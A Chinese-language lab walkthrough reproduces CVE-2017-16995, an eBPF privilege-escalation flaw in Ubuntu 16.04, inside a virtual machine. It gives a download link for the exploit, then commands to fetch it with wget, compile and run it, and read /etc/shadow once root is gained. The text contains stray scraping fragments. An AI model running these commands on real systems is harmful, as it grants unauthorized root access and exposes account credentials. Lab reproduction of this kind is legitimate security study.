Ubuntu最新版本16.04存在本地提權漏洞,該漏洞存在於Linux內核帶有的eBPF bpf(2)系統調用中,當用戶提供惡意BPF程序使eBPF驗證器模塊產生計算錯誤,致使任意內存讀寫問題。 ubuntu
***者(普通用戶)能夠利用該漏洞進行提權***,獲取root權限,危害極大。該漏洞編號是CVE-2017-16995,在以前的一些老版本已經修復了,可是在最新的Ubuntu版本中,又出現了這個漏洞,而且Twitter爆出了漏洞利用代碼……ide
目前,主要是Debian和Ubuntu版本受影響,Redhat和CentOS不受影響。spa
影響版本:
Linux內核:Linux Kernel Version 4.14 ~ 4.4
Ubuntu版本:16.04.01~ 16.04.04code
Ubuntu16.04下載:http://old-releases.ubuntu.com/releases/16.04.0/
注:這裏我下載的版本是 ubuntu-16.04.3-server-amd64.iso
POC代碼下載:http://cyseclabs.com/pub/upstream44.c
注:爲了節省你們實驗時間,本實驗全部環境所有打包到了如下連接=>
https://pan.baidu.com/s/1rtrSb2R_2SLg8VRRwrYynA 密碼:vowqorm
① 下載Ubuntu 16.04 iso鏡像:http://old-releases.ubuntu.com/releases/16.04.0/
下載列表裏面有不少版本,考慮到虛擬機體積大小,這裏不適用desktop版本,直接使用server版本。點擊ubuntu-16.04.3-server-amd64.iso能夠直接網頁下載,若速度較慢,可用列表中的torrent文件,用迅雷等軟件下載。server
② 使用VMware製做虛擬機,設置普通用戶帳號密碼(帳號: pinginglab 密碼:pinginglab)
blog
注:這裏的VMware是MacOS下面的VMware Fushion,跟Windows下面的Vmware Workstation使用流程相似。內存
採用vmware快捷安裝,設置帳號密碼:
rem
點擊「繼續」,便可建立虛擬機。
get
啓動虛擬機,這裏須要稍等片刻:
③ 使用帳號密碼(pinginglab/pinginglab)登陸虛擬機,進行漏洞復現
使用 id
查看本地用戶組權限:
使用cat /proc/version
查看Linux內核版本 :
使用cat /etc/shadow
查看帳號密碼(因爲是普通帳號,沒有權限查看)
使用wget http://cyseclabs.com/pub/upstream44.c
下載POC代碼
使用sudo apt install gcc
下載並安裝gcc編譯器
使用gcc對upstream44.c進行編譯,給予執行權限: gcc -o test upstream44.c
chmod +x test
ll
執行test文件,實現本地提權: ./test
id
cat /etc/shadow
從實驗效果能夠看到,此時用戶從「pinginglab」,切換到「root」,獲取到最高權限,而且能夠查看本地帳號密碼。
本漏洞復現實驗完成。